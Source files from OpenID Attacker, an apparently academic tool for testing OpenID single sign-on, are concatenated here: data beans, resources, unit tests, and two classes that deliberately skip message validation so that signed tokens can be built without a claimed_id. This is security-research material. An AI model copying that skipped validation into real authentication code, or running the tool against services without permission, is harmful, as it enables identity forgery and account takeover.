(C) 2015 Christian Mainka & Christian Koßmann 4 | * 5 | * This program is free software; you can redistribute it and/or modify it under 6 | * the terms of the GNU General Public License as published by the Free Software 7 | * Foundation; either version 2 of the License, or (at your option) any later 8 | * version. 9 | * 10 | * This program is distributed in the hope that it will be useful, but WITHOUT 11 | * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS 12 | * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more 13 | * details. 14 | * 15 | * You should have received a copy of the GNU General Public License along with 16 | * this program; if not, write to the Free Software Foundation, Inc., 51 17 | * Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. 18 | */ 19 | package wsattacker.sso.openid.attacker.server.status; 20 | 21 | public enum Status { 22 | 23 | STOPPED("Stopped"), RUNNING("Running"); 24 | final private String readableName; 25 | 26 | private Status(String readableName) { 27 | this.readableName = readableName; 28 | } 29 | 30 | @Override 31 | public String toString() { 32 | return readableName; 33 | } 34 | } 35 | -------------------------------------------------------------------------------- /src/main/java/wsattacker/sso/openid/attacker/server/utilities/UnvalidatedAuthRequest.java: -------------------------------------------------------------------------------- 1 | /* 2 | * OpenID Attacker 3 | * (C) 2015 Christian Mainka & Christian Koßmann 4 | * 5 | * This program is free software; you can redistribute it and/or modify it under 6 | * the terms of the GNU General Public License as published by the Free Software 7 | * Foundation; either version 2 of the License, or (at your option) any later 8 | * version. 9 | * 10 | * This program is distributed in the hope that it will be useful, but WITHOUT 11 | * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS 12 | * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more 13 | * details. 14 | * 15 | * You should have received a copy of the GNU General Public License along with 16 | * this program; if not, write to the Free Software Foundation, Inc., 51 17 | * Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. 18 | */ 19 | package wsattacker.sso.openid.attacker.server.utilities; 20 | 21 | import org.apache.commons.logging.Log; 22 | import org.apache.commons.logging.LogFactory; 23 | import org.openid4java.message.AuthRequest; 24 | import org.openid4java.message.MessageException; 25 | import org.openid4java.message.ParameterList; 26 | import org.openid4java.server.RealmVerifier; 27 | 28 | public class UnvalidatedAuthRequest extends AuthRequest { 29 | 30 | private static final Log LOG = LogFactory.getLog(UnvalidatedAuthRequest.class); 31 | private static final boolean DEBUG = LOG.isDebugEnabled(); 32 | 33 | protected UnvalidatedAuthRequest(ParameterList params) { 34 | super(params); 35 | } 36 | 37 | public static AuthRequest createAuthRequest(ParameterList params, 38 | RealmVerifier realmVerifier) 39 | throws MessageException { 40 | AuthRequest req = new UnvalidatedAuthRequest(params); 41 | 42 | req.setRealmVerifier(realmVerifier); 43 | 44 | // The request must not be validated 45 | // req.validate(); 46 | if (DEBUG) { 47 | LOG.debug("Created auth request:\n" + req.keyValueFormEncoding()); 48 | } 49 | 50 | return req; 51 | } 52 | } 53 | -------------------------------------------------------------------------------- /src/main/java/wsattacker/sso/openid/attacker/server/utilities/UnvalidatedAuthSuccess.java: -------------------------------------------------------------------------------- 1 | /* 2 | * OpenID Attacker 3 | * (C) 2015 Christian Mainka & Christian Koßmann 4 | * 5 | * This program is free software; you can redistribute it and/or modify it under 6 | * the terms of the GNU General Public License as published by the Free Software 7 | * Foundation; either version 2 of the License, or (at your option) any later 8 | * version. 9 | * 10 | * This program is distributed in the hope that it will be useful, but WITHOUT 11 | * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS 12 | * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more 13 | * details. 14 | * 15 | * You should have received a copy of the GNU General Public License along with 16 | * this program; if not, write to the Free Software Foundation, Inc., 51 17 | * Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. 18 | */ 19 | package wsattacker.sso.openid.attacker.server.utilities; 20 | 21 | import org.apache.commons.logging.Log; 22 | import org.apache.commons.logging.LogFactory; 23 | import org.openid4java.message.AuthSuccess; 24 | import org.openid4java.message.MessageException; 25 | import org.openid4java.message.ParameterList; 26 | 27 | public class UnvalidatedAuthSuccess extends AuthSuccess { 28 | 29 | private static final Log LOG = LogFactory.getLog(UnvalidatedAuthSuccess.class); 30 | private static final boolean DEBUG = LOG.isDebugEnabled(); 31 | 32 | protected UnvalidatedAuthSuccess(ParameterList params) { 33 | super(params); 34 | } 35 | 36 | public static AuthSuccess createAuthSuccess(ParameterList params) 37 | throws MessageException { 38 | AuthSuccess resp = new UnvalidatedAuthSuccess(params); 39 | 40 | // The response token must not be validated 41 | // This allows e.g. to create signed tokens WITHOUT claimed_id etc. 42 | // resp.validate(); 43 | if (DEBUG) { 44 | LOG.debug("Created positive auth response:\n" 45 | + resp.keyValueFormEncoding()); 46 | } 47 | 48 | return resp; 49 | } 50 | } 51 | -------------------------------------------------------------------------------- /src/main/java/wsattacker/sso/openid/attacker/user/User.java: -------------------------------------------------------------------------------- 1 | /* 2 | * OpenID Attacker 3 | * (C) 2015 Christian Mainka & Christian Koßmann 4 | * 5 | * This program is free software; you can redistribute it and/or modify it under 6 | * the terms of the GNU General Public License as published by the Free Software 7 | * Foundation; either version 2 of the License, or (at your option) any later 8 | * version. 9 | * 10 | * This program is distributed in the hope that it will be useful, but WITHOUT 11 | * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS 12 | * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more 13 | * details. 14 | * 15 | * You should have received a copy of the GNU General Public License along with 16 | * this program; if not, write to the Free Software Foundation, Inc., 51 17 | * Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. 18 | */ 19 | package wsattacker.sso.openid.attacker.user; 20 | 21 | import java.util.LinkedHashMap; 22 | import java.util.Map; 23 | import javax.xml.bind.annotation.XmlRootElement; 24 | import javax.xml.bind.annotation.XmlTransient; 25 | 26 | @XmlRootElement(name = "User") 27 | public class User extends UserDataCollector { 28 | 29 | public static final String NAME_IDENTIFIER = "identity"; 30 | public static final String NAME_CLAIMED_ID = "claimed_id"; 31 | 32 | public User() { 33 | super(); 34 | setIdentifier(NAME_IDENTIFIER); 35 | setClaimedId(NAME_CLAIMED_ID); 36 | } 37 | 38 | @XmlTransient 39 | public String getIdentifier() { 40 | return getByName(NAME_IDENTIFIER).getValue(); 41 | } 42 | 43 | public void setIdentifier(String identifier) { 44 | set(NAME_IDENTIFIER, identifier); 45 | } 46 | 47 | @XmlTransient 48 | public String getClaimedId() { 49 | return getByName(NAME_CLAIMED_ID).getValue(); 50 | } 51 | 52 | public void setClaimedId(String claimedId) { 53 | set(NAME_CLAIMED_ID, claimedId); 54 | } 55 | 56 | public Map getUserDataMap() { 57 | Map result = new LinkedHashMap<>(); 58 | for (UserData data : getDataList()) { 59 | String name = data.getName(); 60 | if (!result.containsKey(name)) { 61 | String value = data.getValue(); 62 | result.put(name, value); 63 | } 64 | } 65 | return result; 66 | } 67 | } 68 | -------------------------------------------------------------------------------- /src/main/java/wsattacker/sso/openid/attacker/user/UserData.java: -------------------------------------------------------------------------------- 1 | /* 2 | * OpenID Attacker 3 | * (C) 2015 Christian Mainka & Christian Koßmann 4 | * 5 | * This program is free software; you can redistribute it and/or modify it under 6 | * the terms of the GNU General Public License as published by the Free Software 7 | * Foundation; either version 2 of the License, or (at your option) any later 8 | * version. 9 | * 10 | * This program is distributed in the hope that it will be useful, but WITHOUT 11 | * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS 12 | * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more 13 | * details. 14 | * 15 | * You should have received a copy of the GNU General Public License along with 16 | * this program; if not, write to the Free Software Foundation, Inc., 51 17 | * Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. 18 | */ 19 | package wsattacker.sso.openid.attacker.user; 20 | 21 | import javax.xml.bind.annotation.XmlRootElement; 22 | import wsattacker.sso.openid.attacker.composition.AbstractBean; 23 | 24 | @XmlRootElement(name = "Data") 25 | public class UserData extends AbstractBean { 26 | 27 | public static final String PROP_NAME = "name"; 28 | public static final String PROP_VALUE = "value"; 29 | private String name = "newName"; 30 | private String value = "newValue"; 31 | 32 | 33 | 34 | /** 35 | * Get the value of value 36 | * 37 | * @return the value of value 38 | */ 39 | public String getValue() { 40 | return value; 41 | } 42 | 43 | /** 44 | * Set the value of value 45 | * 46 | * @param value new value of value 47 | */ 48 | public void setValue(String value) { 49 | String oldValue = this.value; 50 | this.value = value; 51 | firePropertyChange(PROP_VALUE, oldValue, value); 52 | } 53 | 54 | /** 55 | * Get the value of name 56 | * 57 | * @return the value of name 58 | */ 59 | public String getName() { 60 | return name; 61 | } 62 | 63 | /** 64 | * Set the value of name 65 | * 66 | * @param name new value of name 67 | */ 68 | public void setName(String name) { 69 | String oldName = this.name; 70 | this.name = name; 71 | firePropertyChange(PROP_NAME, oldName, name); 72 | } 73 | 74 | @Override 75 | public String toString() { 76 | return "UserData{" + "name=" + name + ", value=" + value + '}'; 77 | } 78 | } 79 | -------------------------------------------------------------------------------- /src/main/java/wsattacker/sso/openid/attacker/user/UserDataCollector.java: -------------------------------------------------------------------------------- 1 | /* 2 | * OpenID Attacker 3 | * (C) 2015 Christian Mainka & Christian Koßmann 4 | * 5 | * This program is free software; you can redistribute it and/or modify it under 6 | * the terms of the GNU General Public License as published by the Free Software 7 | * Foundation; either version 2 of the License, or (at your option) any later 8 | * version. 9 | * 10 | * This program is distributed in the hope that it will be useful, but WITHOUT 11 | * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS 12 | * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more 13 | * details. 14 | * 15 | * You should have received a copy of the GNU General Public License along with 16 | * this program; if not, write to the Free Software Foundation, Inc., 51 17 | * Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. 18 | */ 19 | package wsattacker.sso.openid.attacker.user; 20 | 21 | import java.util.ArrayList; 22 | import javax.xml.bind.annotation.XmlElement; 23 | import javax.xml.bind.annotation.XmlRootElement; 24 | import org.jdesktop.observablecollections.ObservableCollections; 25 | import org.jdesktop.observablecollections.ObservableList; 26 | import wsattacker.sso.openid.attacker.composition.AbstractBean; 27 | 28 | @XmlRootElement(name = "DataCollector") 29 | public class UserDataCollector extends AbstractBean { 30 | 31 | private ObservableList dataList = ObservableCollections.observableList(new ArrayList()); 32 | public static final String PROP_DATALIST = "dataList"; 33 | 34 | /** 35 | * Get the value of dataList 36 | * 37 | * @return the value of dataList 38 | */ 39 | @XmlElement(name = "Data") 40 | public ObservableList getDataList() { 41 | return dataList; 42 | } 43 | 44 | /** 45 | * Set the value of dataList 46 | * 47 | * @param dataList new value of dataList 48 | */ 49 | public void setDataList(ObservableList dataList) { 50 | ObservableList oldDataList = this.dataList; 51 | this.dataList = dataList; 52 | firePropertyChange(PROP_DATALIST, oldDataList, dataList); 53 | } 54 | 55 | public UserData getByName(String name) { 56 | for (UserData data : dataList) { 57 | if (name.equals(data.getName())) { 58 | return data; 59 | } 60 | } 61 | throw new IllegalArgumentException(String.format("No such element '%s'", name)); 62 | } 63 | 64 | public boolean has(String name) { 65 | boolean result = false; 66 | for (UserData data : dataList) { 67 | if (name.equals(data.getName())) { 68 | result = true; 69 | } 70 | } 71 | return result; 72 | } 73 | 74 | public UserData addOne() { 75 | UserData newData = new UserData(); 76 | dataList.add(newData); 77 | return newData; 78 | } 79 | 80 | public UserData addOne(String name, String value) { 81 | UserData newData = addOne(); 82 | newData.setName(name); 83 | newData.setValue(value); 84 | return newData; 85 | } 86 | 87 | public UserData removeByName(String name) { 88 | UserData removed = getByName(name); 89 | dataList.remove(removed); 90 | return removed; 91 | } 92 | 93 | public UserData removeById(int id) { 94 | return dataList.remove(id); 95 | } 96 | 97 | public void set(String name, String value) { 98 | try { 99 | UserData contained = getByName(name); 100 | contained.setValue(value); 101 | } catch (IllegalArgumentException e) { 102 | addOne(name, value); 103 | } 104 | } 105 | } 106 | -------------------------------------------------------------------------------- /src/main/java/wsattacker/sso/openid/attacker/user/persistence/XmlListAdapter.java: -------------------------------------------------------------------------------- 1 | /* 2 | * OpenID Attacker 3 | * (C) 2015 Christian Mainka & Christian Koßmann 4 | * 5 | * This program is free software; you can redistribute it and/or modify it under 6 | * the terms of the GNU General Public License as published by the Free Software 7 | * Foundation; either version 2 of the License, or (at your option) any later 8 | * version. 9 | * 10 | * This program is distributed in the hope that it will be useful, but WITHOUT 11 | * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS 12 | * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more 13 | * details. 14 | * 15 | * You should have received a copy of the GNU General Public License along with 16 | * this program; if not, write to the Free Software Foundation, Inc., 51 17 | * Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. 18 | */ 19 | package wsattacker.sso.openid.attacker.user.persistence; 20 | 21 | /** 22 | * Helper class which let JAXB use ObservableList instead of normal Lists. 23 | */ 24 | public class XmlListAdapter { 25 | } 26 | -------------------------------------------------------------------------------- /src/main/resources/adblock_firefox.xpi: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RUB-NDS/OpenID-Attacker/acc60c68e93c5a4610d695d861900217880f65b8/src/main/resources/adblock_firefox.xpi -------------------------------------------------------------------------------- /src/main/resources/attack.svg: -------------------------------------------------------------------------------- 1 | 2 | 3 | Client 4 | 5 | 6 | SP 7 | 8 | 9 | IdP (Attacker) 10 | 11 | 12 | IdP (Analyzer) 13 | 14 | $svgContent 15 | 16 | -------------------------------------------------------------------------------- /src/main/resources/play.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RUB-NDS/OpenID-Attacker/acc60c68e93c5a4610d695d861900217880f65b8/src/main/resources/play.png -------------------------------------------------------------------------------- /src/main/resources/post-redirect.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | POST data for 6 | 7 | 8 |
9 | 10 |
11 | 12 | 13 | -------------------------------------------------------------------------------- /src/main/resources/screen.css: -------------------------------------------------------------------------------- 1 | td, th { 2 | text-align: center; 3 | } 4 | 5 | table.log table.result { 6 | word-wrap: break-word; 7 | table-layout: fixed; 8 | } 9 | 10 | th.description, td.description { 11 | text-align: left; 12 | } 13 | 14 | table.log th, table.log td { 15 | text-align: left; 16 | } 17 | 18 | pre { 19 | text-align: left; 20 | line-height: 1.8em; 21 | border: none; 22 | background-color: inherit; 23 | } 24 | 25 | td.prevented { 26 | background-color: lime !important; 27 | } 28 | 29 | td.restricted { 30 | background-color: yellow !important; 31 | } 32 | 33 | td.critical { 34 | background-color: red !important; 35 | } 36 | 37 | td.neutral { 38 | background-color: lightgrey !important; 39 | } 40 | 41 | h2 { 42 | font-family: "Yanone Kaffeesatz", "Arial Black"; 43 | font-weight: bold; 44 | font-size: 2.7em; 45 | color: #0089c5; 46 | margin-top: 1em; 47 | } 48 | 49 | h3 { 50 | font-family: "Yanone Kaffeesatz"; 51 | font-size: 2.3em; 52 | color: #0089c5; 53 | margin-top: 1.2em; 54 | } 55 | 56 | img { 57 | width: 100%; 58 | } 59 | 60 | img.svg { 61 | width: 80%; 62 | height: auto; 63 | margin-left: auto; 64 | margin-right: auto; 65 | display: block; 66 | } 67 | -------------------------------------------------------------------------------- /src/main/resources/stop.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RUB-NDS/OpenID-Attacker/acc60c68e93c5a4610d695d861900217880f65b8/src/main/resources/stop.png -------------------------------------------------------------------------------- /src/main/resources/template.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | OpenID Attacker Report 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 |
14 |
15 |
16 | $body 17 |
18 |
19 |
20 | 21 | 22 | 23 | 24 | 25 | -------------------------------------------------------------------------------- /src/main/resources/xrds.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | http://specs.openid.net/auth/2.0/signon 7 | http://xml.nds.rub.de:8080/simpleid/www/ 8 | 9 | http://xml.nds.rub.de:8080/simpleid/www/index.php?q=xrds/remote 10 | 11 | 12 | 13 | http://openid.net/signon/1.0 14 | http://xml.nds.rub.de:8080/simpleid/www/ 15 | 16 | http://xml.nds.rub.de:8080/simpleid/www/index.php?q=xrds/remote 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 28 | 29 | 30 | http://specs.openid.net/auth/2.0/signon 31 | http://www.myopenid.com/server 32 | http://john-doe1011.myopenid.com/ 33 | 34 | 35 | http://openid.net/signon/1.1 36 | http://www.myopenid.com/server 37 | http://john-doe1011.myopenid.com/ 38 | 39 | 40 | http://openid.net/signon/1.0 41 | http://www.myopenid.com/server 42 | http://john-doe1011.myopenid.com/ 43 | 44 | 45 | -------------------------------------------------------------------------------- /src/test/java/wsattacker/sso/openid/attacker/attack/AttackParameterHandlerTest.java: -------------------------------------------------------------------------------- 1 | package wsattacker.sso.openid.attacker.attack; 2 | 3 | import java.util.LinkedHashMap; 4 | import java.util.Map; 5 | import static org.hamcrest.Matchers.hasSize; 6 | import static org.hamcrest.Matchers.is; 7 | import static org.junit.Assert.assertThat; 8 | import org.junit.Test; 9 | import wsattacker.sso.openid.attacker.attack.parameter.AttackParameter; 10 | import wsattacker.sso.openid.attacker.attack.parameter.AttackParameterHandler; 11 | import wsattacker.sso.openid.attacker.attack.parameter.AttackParameterKeeper; 12 | import wsattacker.sso.openid.attacker.attack.parameter.utilities.HttpMethod; 13 | 14 | public class AttackParameterHandlerTest { 15 | 16 | public AttackParameterHandlerTest() { 17 | } 18 | 19 | @Test 20 | public void testUpdateValidParameters() { 21 | AttackParameterKeeper keeper = new AttackParameterKeeper(); 22 | assertThat(keeper.keySet(), hasSize(0)); 23 | 24 | Map addMap = new LinkedHashMap<>(); 25 | addMap.put("a", "one"); 26 | addMap.put("b", "two"); 27 | addMap.put("c", "three"); 28 | AttackParameterHandler.updateValidParameters(keeper, addMap); 29 | assertThat(keeper.keySet(), hasSize(3)); 30 | assertThat(keeper.getParameter("a").getValidValue(), is("one")); 31 | assertThat(keeper.getParameter("b").getValidValue(), is("two")); 32 | assertThat(keeper.getParameter("c").getValidValue(), is("three")); 33 | 34 | addMap.put("b", "TWO"); 35 | addMap.put("d", "four"); 36 | AttackParameterHandler.updateValidParameters(keeper, addMap); 37 | assertThat(keeper.keySet(), hasSize(4)); 38 | assertThat(keeper.getParameter("a").getValidValue(), is("one")); 39 | assertThat(keeper.getParameter("b").getValidValue(), is("TWO")); 40 | assertThat(keeper.getParameter("c").getValidValue(), is("three")); 41 | assertThat(keeper.getParameter("d").getValidValue(), is("four")); 42 | 43 | keeper.clear(); 44 | assertThat(keeper.keySet(), hasSize(0)); 45 | } 46 | 47 | @Test 48 | public void testUpdateAttackParameters() { 49 | AttackParameterKeeper keeper = new AttackParameterKeeper(); 50 | Map addMap = new LinkedHashMap<>(); 51 | addMap.put("a", "one"); 52 | addMap.put("b", "two"); 53 | addMap.put("c", "three"); 54 | AttackParameterHandler.updateValidParameters(keeper, addMap); 55 | for (String name : keeper.keySet()) { 56 | keeper.getParameter(name).setAttackValueUsedForSignatureComputation(true); 57 | } 58 | 59 | Map attackMap = new LinkedHashMap<>(); 60 | attackMap.put("a", "atk_a"); 61 | attackMap.put("b", "atk_b"); 62 | attackMap.put("c", "atk_c"); 63 | 64 | AttackParameterHandler.updateAttackParameters(keeper, attackMap); 65 | 66 | Map expectedAttackMap = new LinkedHashMap<>(); 67 | expectedAttackMap.put("a", "atk_a"); 68 | expectedAttackMap.put("b", "atk_b"); 69 | expectedAttackMap.put("c", "atk_c"); 70 | 71 | 72 | Map actualAttackMap = AttackParameterHandler.createToSignMap(keeper); 73 | assertThat(actualAttackMap, is(expectedAttackMap)); 74 | 75 | attackMap.clear(); 76 | attackMap.put("a", "new_atk_a"); 77 | 78 | // parameter "a" should not be changed, because only automatic values are changed 79 | AttackParameterHandler.updateAttackParameters(keeper, attackMap); 80 | 81 | AttackParameter a = keeper.getParameter("a"); 82 | assertThat(a.getAttackValue(), is("atk_a")); 83 | a.setAttackValueUsedForSignatureComputation(false); 84 | assertThat(a.getAttackValue(), is("new_atk_a")); 85 | } 86 | 87 | @Test 88 | public void testAddOrUpdateParameterValidValue() { 89 | AttackParameterKeeper keeper = new AttackParameterKeeper(); 90 | keeper.addOrUpdateParameterValidValue("a", "one"); 91 | assertThat(keeper.keySet(), hasSize(1)); 92 | assertThat(keeper.getParameter("a").getValidValue(), is("one")); 93 | keeper.addOrUpdateParameterValidValue("a", "ONE"); 94 | assertThat(keeper.keySet(), hasSize(1)); 95 | assertThat(keeper.getParameter("a").getValidValue(), is("ONE")); 96 | } 97 | 98 | @Test 99 | public void testCreateMapByMethod() { 100 | AttackParameterKeeper keeper = new AttackParameterKeeper(); 101 | 102 | AttackParameter a = keeper.addOrUpdateParameterValidValue("a", "one"); 103 | a.setAttackValue("atk_one"); 104 | a.setValidMethod(HttpMethod.GET); 105 | a.setAttackMethod(HttpMethod.POST); 106 | 107 | AttackParameter b = keeper.addOrUpdateParameterValidValue("b", "two"); 108 | b.setAttackValue("atk_two"); 109 | b.setValidMethod(HttpMethod.POST); 110 | b.setAttackMethod(HttpMethod.GET); 111 | 112 | AttackParameter c = keeper.addOrUpdateParameterValidValue("c", "three"); 113 | c.setAttackValue("atk_three"); 114 | c.setValidMethod(HttpMethod.DO_NOT_SEND); 115 | c.setAttackMethod(HttpMethod.DO_NOT_SEND); 116 | 117 | Map expectedMap = new LinkedHashMap<>(); 118 | expectedMap.put("a", "one"); 119 | expectedMap.put("b", "atk_two"); 120 | Map getMap = AttackParameterHandler.createMapByMethod(keeper, HttpMethod.GET, true); 121 | assertThat(getMap, is(expectedMap)); 122 | 123 | expectedMap.clear(); 124 | expectedMap.put("a", "atk_one"); 125 | expectedMap.put("b", "two"); 126 | Map postMap = AttackParameterHandler.createMapByMethod(keeper, HttpMethod.POST, true); 127 | assertThat(postMap, is(expectedMap)); 128 | } 129 | } 130 | -------------------------------------------------------------------------------- /src/test/java/wsattacker/sso/openid/attacker/attack/parameter/SearchReplaceAttackParameterTest.java: -------------------------------------------------------------------------------- 1 | package wsattacker.sso.openid.attacker.attack.parameter; 2 | 3 | import java.util.List; 4 | import static org.hamcrest.Matchers.is; 5 | import static org.junit.Assert.assertThat; 6 | import org.junit.Test; 7 | import wsattacker.sso.openid.attacker.attack.parameter.utilities.SearchReplaceHolder; 8 | 9 | public class SearchReplaceAttackParameterTest { 10 | 11 | public SearchReplaceAttackParameterTest() { 12 | } 13 | 14 | @Test 15 | public void testSingleReplace() { 16 | final SearchReplaceHolder srh = new SearchReplaceHolder("two", "ZWEI", false); 17 | searchReplaceTest("one_two_three_four_five", "one_ZWEI_three_four_five", srh); 18 | } 19 | 20 | @Test 21 | public void testDoubleReplace() { 22 | final SearchReplaceHolder srh1 = new SearchReplaceHolder("two", "ZWEI", false); 23 | final SearchReplaceHolder srh2 = new SearchReplaceHolder("five", "FUENF", false); 24 | searchReplaceTest("one_two_three_four_five", "one_ZWEI_three_four_FUENF", srh2, srh1); 25 | } 26 | 27 | @Test 28 | public void testWithEncoding() { 29 | final String search = "http://idp1.nds.rub.de:8080/simpleid/www/"; 30 | final String replace = "https://idp2.nds.rub.de:9090/elsewhere/"; 31 | final SearchReplaceHolder srh = new SearchReplaceHolder(search, replace, true); 32 | String returnUrl = "https://www.sp.org/login?openid1_claimed_id=http%3A%2F%2Fidp1.nds.rub.de%3A8080%2Fsimpleid%2Fwww%2F&rp_nonce=2013-10-02T14%3A56%3A59Zc5gyX5"; 33 | String expectedUrl = "https://www.sp.org/login?openid1_claimed_id=https%3A%2F%2Fidp2.nds.rub.de%3A9090%2Felsewhere%2F&rp_nonce=2013-10-02T14%3A56%3A59Zc5gyX5"; 34 | searchReplaceTest(returnUrl, expectedUrl, srh); 35 | } 36 | 37 | public void searchReplaceTest(String initialString, String expectedResult, SearchReplaceHolder... searchReplace) { 38 | final SearchReplaceAttackParameter parameter = new SearchReplaceAttackParameter(); 39 | parameter.setName("openid.return_to"); 40 | parameter.setValidValue(initialString); 41 | 42 | final List searchReplaceList = parameter.getSearchReplaceList(); 43 | for (SearchReplaceHolder srh : searchReplace) { 44 | searchReplaceList.add(srh); 45 | } 46 | 47 | String result = parameter.getAttackValue(); 48 | 49 | assertThat(result, is(expectedResult)); 50 | 51 | } 52 | } 53 | -------------------------------------------------------------------------------- /src/test/java/wsattacker/sso/openid/attacker/attack/profile/AttackProfileContainerTest.java: -------------------------------------------------------------------------------- 1 | package wsattacker.sso.openid.attacker.attack.profile; 2 | 3 | import java.util.List; 4 | import static org.hamcrest.Matchers.hasSize; 5 | import static org.hamcrest.Matchers.is; 6 | import static org.hamcrest.Matchers.not; 7 | import static org.hamcrest.Matchers.sameInstance; 8 | import static org.junit.Assert.assertThat; 9 | import org.junit.Before; 10 | import org.junit.Test; 11 | import wsattacker.sso.openid.attacker.attack.parameter.AttackParameter; 12 | import wsattacker.sso.openid.attacker.attack.parameter.AttackParameterKeeper; 13 | import wsattacker.sso.openid.attacker.attack.parameter.utilities.HttpMethod; 14 | 15 | public class AttackProfileContainerTest { 16 | 17 | private static final String TEST_PROFILE_DESCRIPTION = "Test Profile Description"; 18 | private static final String TEST_PROFILE_NAME = "Test Profile Name"; 19 | private static AttackProfileContainer profileContainer; 20 | private static AttackParameterKeeper configuration; 21 | private static AttackParameter a; 22 | 23 | public AttackProfileContainerTest() { 24 | } 25 | 26 | @Before 27 | public void setUp() { 28 | profileContainer = new AttackProfileContainer(); 29 | configuration = new AttackParameterKeeper(); 30 | a = configuration.addOrUpdateParameterValidValue("a", "a"); 31 | a.setAttackMethod(HttpMethod.POST); 32 | a.setValidMethod(HttpMethod.POST); 33 | profileContainer.saveProfile(TEST_PROFILE_NAME, TEST_PROFILE_DESCRIPTION, configuration); 34 | } 35 | 36 | @Test 37 | public void testSaveProfile() { 38 | assertThat(profileContainer.getProfileList(), hasSize(1)); 39 | AttackProfile savedProfile = profileContainer.getProfileList().get(0); 40 | assertThat(savedProfile.getName(), is(TEST_PROFILE_NAME)); 41 | assertThat(savedProfile.getDescription(), is(TEST_PROFILE_DESCRIPTION)); 42 | AttackParameterKeeper savedKeeper = savedProfile.getConfiguration(); 43 | assertThat(savedKeeper, is(configuration)); 44 | assertThat(savedKeeper, not(sameInstance(configuration))); 45 | } 46 | 47 | @Test 48 | public void testUpdateProfile_3args() { 49 | AttackParameterKeeper keeperBeforeUpdate; 50 | keeperBeforeUpdate = profileContainer.getProfileList().get(0).getConfiguration(); 51 | 52 | int intex = 0; 53 | String name = "bn"; 54 | String description = "bd"; 55 | profileContainer.updateProfile(intex, name, description); 56 | 57 | assertThat(profileContainer.getProfileList(), hasSize(1)); 58 | AttackProfile savedProfile = profileContainer.getProfileList().get(0); 59 | assertThat(savedProfile.getName(), is(name)); 60 | assertThat(savedProfile.getDescription(), is(description)); 61 | AttackParameterKeeper savedKeeper = savedProfile.getConfiguration(); 62 | assertThat(savedKeeper, sameInstance(keeperBeforeUpdate)); 63 | } 64 | 65 | @Test 66 | public void testUpdateProfile_4args() { 67 | int index = 0; 68 | String name = "cn"; 69 | String description = "cd"; 70 | AttackParameterKeeper newConfig = new AttackParameterKeeper(); 71 | newConfig.addOrUpdateParameterValidValue("c", "c"); 72 | 73 | profileContainer.updateProfile(index, name, description, newConfig); 74 | 75 | assertThat(profileContainer.getProfileList(), hasSize(1)); 76 | AttackProfile savedProfile = profileContainer.getProfileList().get(0); 77 | assertThat(savedProfile.getName(), is(name)); 78 | assertThat(savedProfile.getDescription(), is(description)); 79 | AttackParameterKeeper savedKeeper = savedProfile.getConfiguration(); 80 | assertThat(savedKeeper, is(newConfig)); 81 | assertThat(savedKeeper, not(sameInstance(newConfig))); 82 | } 83 | 84 | @Test 85 | public void testLoadProfileInEmptyKeeper() { 86 | AttackParameterKeeper toUpdate = new AttackParameterKeeper(); 87 | List parameters = toUpdate.getParameterList(); 88 | profileContainer.loadProfile(toUpdate, 0); 89 | assertThat(toUpdate.getParameterList(), sameInstance(parameters)); 90 | assertThat(toUpdate.getParameterList(), hasSize(1)); 91 | } 92 | 93 | @Test 94 | public void testLoadProfileInNonEmptyKeeper() { 95 | AttackParameterKeeper toUpdate = new AttackParameterKeeper(); 96 | toUpdate.addOrUpdateParameterValidValue("z", "z"); 97 | List parameters = toUpdate.getParameterList(); 98 | profileContainer.loadProfile(toUpdate, 0); 99 | assertThat(toUpdate.getParameterList(), sameInstance(parameters)); 100 | assertThat(parameters, hasSize(2)); 101 | } 102 | 103 | @Test 104 | public void testLoadProfileAndUpdateParameterValues() { 105 | AttackParameterKeeper toUpdate = new AttackParameterKeeper(); 106 | toUpdate.addOrUpdateParameterValidValue("a", "x"); 107 | List parameters = toUpdate.getParameterList(); 108 | profileContainer.loadProfile(toUpdate, 0); 109 | assertThat(toUpdate.getParameterList(), sameInstance(parameters)); 110 | assertThat(parameters, hasSize(1)); 111 | AttackParameter p = parameters.get(0); 112 | assertThat(p.getName(), is("a")); 113 | assertThat(p.getValidValue(), is("a")); 114 | assertThat(p.getValidMethod(), is(HttpMethod.POST)); 115 | assertThat(p.getAttackMethod(), is(HttpMethod.POST)); 116 | 117 | } 118 | } 119 | -------------------------------------------------------------------------------- /src/test/java/wsattacker/sso/openid/attacker/attack/utilities/AttackValueTest.java: -------------------------------------------------------------------------------- 1 | package wsattacker.sso.openid.attacker.attack.utilities; 2 | 3 | import static org.hamcrest.Matchers.is; 4 | import static org.hamcrest.Matchers.notNullValue; 5 | import static org.junit.Assert.assertThat; 6 | import org.junit.Test; 7 | import wsattacker.sso.openid.attacker.attack.parameter.utilities.AttackValue; 8 | 9 | public class AttackValueTest { 10 | 11 | public static final String USER_VALUE_1 = "userValue_1"; 12 | public static final String AUTOMATIC_VALUE_1 = "automaticValue_1"; 13 | public static final String USER_VALUE_2 = "userValue_2"; 14 | public static final String 